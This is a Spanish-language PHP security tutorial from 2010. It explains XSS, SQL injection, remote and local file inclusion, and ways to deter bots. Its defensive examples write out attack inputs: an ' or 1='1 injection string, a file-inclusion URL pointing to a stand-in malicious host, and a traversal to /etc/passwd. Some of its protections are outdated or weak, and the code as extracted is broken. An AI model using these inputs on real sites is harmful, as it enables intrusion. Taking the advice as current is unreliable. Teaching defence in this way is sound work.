Está en la página 1de 6

4 noviembre 2010

PHP Seguro.
Al empezar un desarrollo WEB nos preguntamos de que forma podemos darle seguridad a nuestras aplicaciones con el fin de minimizar vulnerabilidades potenciales. Estas son algunas recomendaciones:

Filtro de variables potencialmente peligrosas.


El dinamismo de nuestro sitio depende de variables las cuales pueden ser aprovechadas por usuarios para inyectar cdigo malicioso, entre estas variables encontramos las GET, POST, COOKIE, CABECERAS HTTP1, variables JAVASCRIPT impresas en HTML2, etc. Estas variables tienen como fin controlar el funcionamiento del sitio, la interaccin con bases de datos, entre otras.

XSS (Cross-site scripting).


Esta vulnerabilidad permite inyectar cdigo HTML o Javascript en las variables, para evitarlo es necesario filtrar los tags de programacin, para esto contamos con las funciones PHP htmlentities(), strip_tags(). htmlentities() Transforma una etiqueta HTML en su equivalente codificacin con el fin de imprimir la etiqueta en lugar de ejecutarla. Ejemplo:
echo <h1>HOLA MUNDO<h1>; //Imprime HOLA MUNDO en tamao de titulo h1 echo htmlentities(<h1>HOLA MUNDO<h1>) ; //Imprime <h1>HOLA MUNDO<h1> (No lo ejecuta)

strip_tags() Elimina etiquetas HTML y PHP de una cadena. Ejemplo:


echo <h1>HOLA MUNDO<h1>; //Imprime HOLA MUNDO en tamao de titulo h1 echo strip_tags(<h1>HOLA MUNDO<h1>); //Imprime HOLA MUNDO en texto plano

1 El usuario puede controlar ciertas cabeceras HTTP modificandolas para atacar un sitios, por ejemplo la cabecera
HTTP_REFERER. 2 Herramientas como firebug nos permiten modificar cdigo fuente HTML en tiempo real afectando el funcionamiento de una pagina WEB

SQL injection
La inyeccin de SQL nos permite hacer inyecciones de cdigo SQL en variables que interactan con cadenas de consulta con el fin de alterar dichas cadenas de consulta. Para evitar esto PHP nos prove de las funciones addslashes(), get_magic_quotes_gpc(),mysql_real_escape_string(). mysql_real_escape_string() Escapa caracteres especiales de una cadena de consulta SQL colocando una diagonal invertida antes de \x00, \n, \r, \, ', " y \x1a. Ejemplo: <?php
$usuario = Admin; $password = ' or 1='1 $sql = SELECT * FROM USUARIOS WHERE USUARIO = '.mysql_real_escape_string($usuario).' AND PASSWOD=.mysql_real_escape_string($password); //SELECT * FROM USUARIOS WHERE USUARIO = 'Admin' AND PASSWOD='\' or 1=\'1' ?>

addslashes() Escapa caracteres especiales en una cadena colocando una diagonal invertida antes de los caracteres ,',\, NUL (byte NULL). Ejemplo. <?php
$usuario = Admin; $password = ' or 1='1 $sql = SELECT * FROM USUARIOS WHERE PASSWOD=.addslashes($password); USUARIO = '.addslashes($usuario).' AND

//SELECT * FROM USUARIOS WHERE USUARIO = 'Admin' AND PASSWOD='\' or 1=\'1' ?>

get_magic_quotes_gpc() Funcin booleana que verifica en estado de configuracin de php.ini en las funciones magic_cuotes() que sirven para escapar caracteres especiales en variables enviadas por GET, POST o COOKIE, se puede combinar con las funciones anteriores. <?php
$usuario = $_POST[usuario]; $password =$_POST[password];

if(!get_magic_quotes_gpc()) {
$usuario = addslashes($usuario); $password = addslashes($password);

}
?>

RFI / LFI (Rremote File Inclusion / Local File Inclusion)


RFI Esta vulnerabilidad permite incluir archivos remotos y ejecutarlo en el servidor local debido a una mala programacin de las funciones de inclusin3. Ejemplo:
//URL original page=home.php //URL alterada (Referencia a un script malo) page=http://www.miservermladito.com/malo.jpg4 <?php incluce($_GET[page]); //include(http://www.miservermaldito.com); ?> LFI Esta vulnerabilidad permite incluir archivo del servidor donde se aloja el sitio debido a una mala programacin de las funciones de inclusin, el atacante puede hacer uso de los archivos locales para tener acceso a una shell o informacin sensible.

Ejemplo:
//URL original page=home.php //URL alterada (Referencia a un script malo) page=../../../../../../../../../../../etc/passwd%00 <?php incluce($_GET[page]); //include(./../../../../../../../../../../etc/passwd); ?>

Para evitar esto es necesario evitar el control de funciones de inclusin a los usuarios.
<?php switch($_GET[page]) { case home:include ("./home.php"); break; case otro:include ("./otro.php"); break; default: include("./404.php"); break; } ?>

3 Siempre y cuando allow_url_fopen est habilitado en php.ini 4 La extensin del archivo no puede ser php debido a que PHP se ejecuta siempre en el servidor que lo aloja a menos que no lo soporte

EVASIN DE BOT'S
Un bot es un robot o programa que hace funciones rutinarias sustituyendo a un humano, estos bots son usados para obtener informacin de una pagina o para hacer uso de ciertas funciones de la misma de forma daina. La evasin de estos bots es muy difcil y mas aun cuando no queremos hacer uso del famoso CAPTCHA debido al fastidio que crea en los usuarios. Otra solucin poco viable es el uso de Javascript y AJAX para evitar que estos robots lean nuestra pagina ya que con esto sacrificamos posicionamiento y funcionalidad para las tecnologas mviles. Para este caso vamos a tratar de minimizar su efecto o por lo menos hacer pensar mas a quien programe un robot para visitarnos.

Cabecera HTTP_REFERER5.
Esta cabecera HTTP contiene la URL donde se hace referencia a la pagina en cuestin (La procedencia). Esto nos puede ayudar a validar la procedencia de las peticiones que se hacen a nuestro sitio.
<?php if($_SERVER[HTTP_REFERER] == http://misitio.com/formulario.php) { //Conjunto de instrucciones } else { //Conjunto de instrucciones para rechazar la peticin } ?>

Llaves dinmicas.
Son llaves generadas automticamente para validar una peticin que se hace a un servicio, son nicas e irrepetibles. En el caso de aplicaciones WEB se genera una llave y se imprime en la pagina de peticin para luego ser comparado en la pagina de respuesta. Con esto el robot tendra que conocer el token generado para cada peticin. Ejemplo: formulario.php
<?php session_start(); function getToken($name) { $alphanum = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdfghijklmnopqrstuvwxyz0123456789"; $token = md5(substr(md5(str_shuffle($alphanum)), 0, 10)); $_SESSION["token_".$name] = $token; return $token;
5 Vulnerable a header Spoofing

} ?> <html> <head> <title>EJEMPLO LLAVE</title> </head> <body> <form name=buscador method=post action=resultados.php> <input type=hidden name=token value=<?php echo getToken(buscar); ?> /> <input type=text name=nombre value= /> </form> </body> </html>

resultados.php
<?php session_start(); if($_POST[token] == $_SESSION[token_buscar]) { $_SESSION[token_buscar] == array(); //Conjunto de instrucciones } else { //Conjunto de instrucciones para rechazar la peticin } ?>

Control de peticiones por usuario.


Consiste en medir el numero de peticiones que se hacen en un lapso de tiempo, de esta manera podemos determinar si se trata de un humano o un bot. Para esto es necesario medir el comportamiento del usuario promedio en el sitio para calcular en que momento deja de ser normal la cantidad de peticiones que se hacen y poder establecer los limites de tiempo entre peticin y peticin. Finalmente se decide la cantidad de peticiones invalidad que sern toleradas. <?php session_start(); if(isset($_SESSION["time"])) { if($_SESSION["humano"]) { $limite = time() - (5) ;//Lapso de 5 segundos if($_SESSION["time"] < $limite) //Lapso Valido! { $_SESSION["time"] = time(); echo "creo que eres humano!!"; } else //Posible robot {

$_SESSION["visitas_malas"]++; $_SESSION["time"] = time(); echo "creo que eres un robot!!"; }

if($_SESSION["visitas_malas"] > 10) //Numero de visitas malas para declararlo robot { $_SESSION["humano"] = false; } //Conjunto de instrucciones } else { //Conjunto de instrucciones para rechazar la peticin echo "ACCESO DENEGADO A LOS ROBOTS!!!"; exit(); } } else { $_SESSION["humano"] = true; $_SESSION["visitas_malas"] = 0; $_SESSION["time"] = time(); } ?>

Con esto finalizamos este artculo, seguro que existen mas vulnerabilidades y mas formas de protegerte pero estas son las mas comunes y en las que mas tendemos a ser susceptibles. Esto lo escribo por que mi amigo el Gabono me preguntaba al respecto.

By Molder (Sombrero de paja) Aztlan Hack http://www.aztlan-hack.org msn: molder@aztlan-hack.org email: molder@aztlan-hack.org

También podría gustarte